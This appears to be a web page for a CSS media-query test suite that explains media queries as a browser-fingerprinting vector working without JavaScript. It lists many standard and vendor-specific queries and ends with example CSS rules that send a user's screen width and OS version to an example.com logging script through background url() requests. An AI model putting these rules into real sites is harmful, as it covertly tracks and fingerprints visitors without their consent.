CSS Media Queries — is a technique that allows you to apply CSS-rules based on devices properties such as screen size, orientation, etc.
Media Queries are well known as a Fingerprinting vector that can be used to reveal sensitive trackable information. It similiar to window.screen object, but with ability to work even without JavaScript.
This is a pure-CSS Media Queries Test Suite, here you can check in real time what kind of media query values does your web browser:
CSS3 Media Queries @media-type display-mode orientation color (bool) color color-index color-gamut monochrome light-level inverted-colors scan grid
CSS3 Media Queries min-width min-height device-width device-height min-device-width (cm) min-device-height (cm) min-device-width (inch) min-device-height (inch) resolution (dpi) resolution (dppx) max-aspect-ratio device-aspect-ratio
CSS4 Media Queries scripting update overflow-inline overflow-block
CSS4 Media Queries pointer any-pointer hover any-hover
Vendor-specific Media Queries -moz-os-version -moz-windows-theme -moz-windows-glass -moz-touch-enabled -moz-images-in-menus -moz-mac-graphite-theme -moz-maemo-classic -moz-scrollbar-end-backward -moz-scrollbar-end-forward -moz-scrollbar-start-backward -moz-scrollbar-start-forward -moz-scrollbar-thumb-proportional
Vendor-specific Media Queries -moz-device-pixel-ratio min--moz-device-pixel-ratio -webkit-min-device-pixel-ratio -webkit-device-pixel-ratio -webkit-transform-3d -webkit-transform-2d -webkit-transition -webkit-animation -moz-windows-classic -moz-windows-compositor -moz-windows-default-theme -ms-high-contrast
Few examples of how CSS Media Queries Fingerprinting works:
@media(device-width: 1919px) { #device-width { background: url("http://example.com/log.php?user=sid&device-width=1919" ); } } @media(device-width: 1920px) { #device-width { background: url("http://example.com/log.php?user=sid&device-width=1920" ); } } @media(device-width: 1921px) { #device-width { background: url("http://example.com/log.php?user=sid&device-width=1921" ); } } @media(-moz-os-version: windows-win10) { #moz-os-version { background: url("http://example.com/log.php?user=sid&moz-os-version=windows-win10" ); } } If the rule is triggered, the request will be sent to the server using url() functional notation.